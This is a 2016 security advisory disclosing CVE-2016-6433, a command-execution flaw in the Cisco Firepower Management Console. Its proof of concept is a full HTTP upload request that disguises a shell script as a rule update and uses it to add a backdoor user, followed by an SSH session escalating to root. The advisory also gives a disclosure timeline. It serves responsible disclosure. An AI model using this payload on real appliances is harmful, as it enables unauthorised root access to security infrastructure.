Cisco Firepower Threat Management Console Remote Command Execution Leading to Root Access

Vulnerability Details

Affected Vendor: Cisco
Affected Product: Firepower Threat Management Console
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
Platform: Embedded Linux
CWE Classification: CWE-434: Unrestricted Upload of File with Dangerous
Type, CWE-94: Improper Control of Generation of Code
Impact: Arbitrary Code Execution
Attack vector: HTTP
CVE-ID: CVE-2016-6433

Vulnerability Description

An authenticated user can run arbitrary system commands as
the www user which leads to root.

Technical Description

A valid session and CSRF token is required. The webserver runs as
a non-root user which is permitted to sudo commands as root with
no password.

POST /DetectionPolicy/rules/rulesimport.cgi?no_mojo=1 HTTP/1.1
Host: 1.3.3.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Cookie: CGISESSID=4919a7838198009bba48f6233d0bd1c6
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------15519792567789791301241925798
Content-Length: 813

-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name=“manual_update”

1
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name=“source”

file
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name=“file”; filename=“Sourcefire_Rule_Update-2016-03-04-001-vrt.sh”
Content-Type: application/octet-stream

sudo useradd -G ldapgroup -p openssl passwd -1 korelogic korelogic
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name=“action_submit”

Import
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name=“sf_action_id”

8c6059ae8dbedc089877b16b7be2ae7f
-----------------------------15519792567789791301241925798–

HTTP/1.1 200 OK
Date: Sat, 23 Apr 2016 13:38:01 GMT
Server: Apache
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 49998
Connection: close
Content-Type: text/html; charset=utf-8

…

$ ssh [email protected]
Password:

Copyright 2004-2016, Cisco and/or its affiliates. All rights reserved.
Cisco is a registered trademark of Cisco Systems, Inc.
All other trademarks are property of their respective owners.

Cisco Fire Linux OS v6.0.1 (build 37)
Cisco Firepower Management Center for VMWare v6.0.1 (build 1213)

Could not chdir to home directory /Volume/home/korelogic: No such file or directory
korelogic@firepower:/$ sudo su -
Password:
root@firepower:~#

Mitigation and Remediation Recommendation

The vendor has acknowledged this vulnerability but has
not issued a fix. Vendor acknowledgement available at:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc2

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Disclosure Timeline

2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.
2016.06.30 - Cisco acknowledges receipt of vulnerability report.
2016.07.20 - KoreLogic and Cisco discuss remediation timeline for
this vulnerability and for 3 others reported in the
same product.
2016.08.12 - 30 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.02 - 45 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.09 - KoreLogic asks for an update on the status of the
remediation efforts.
2016.09.15 - Cisco confirms remediation is underway and soon to be
completed.
2016.09.28 - Cisco informs KoreLogic that the acknowledgement details
will be released publicly on 2016.10.05.
2016.10.05 - Public disclosure.

Proof of Concept

See Technical Description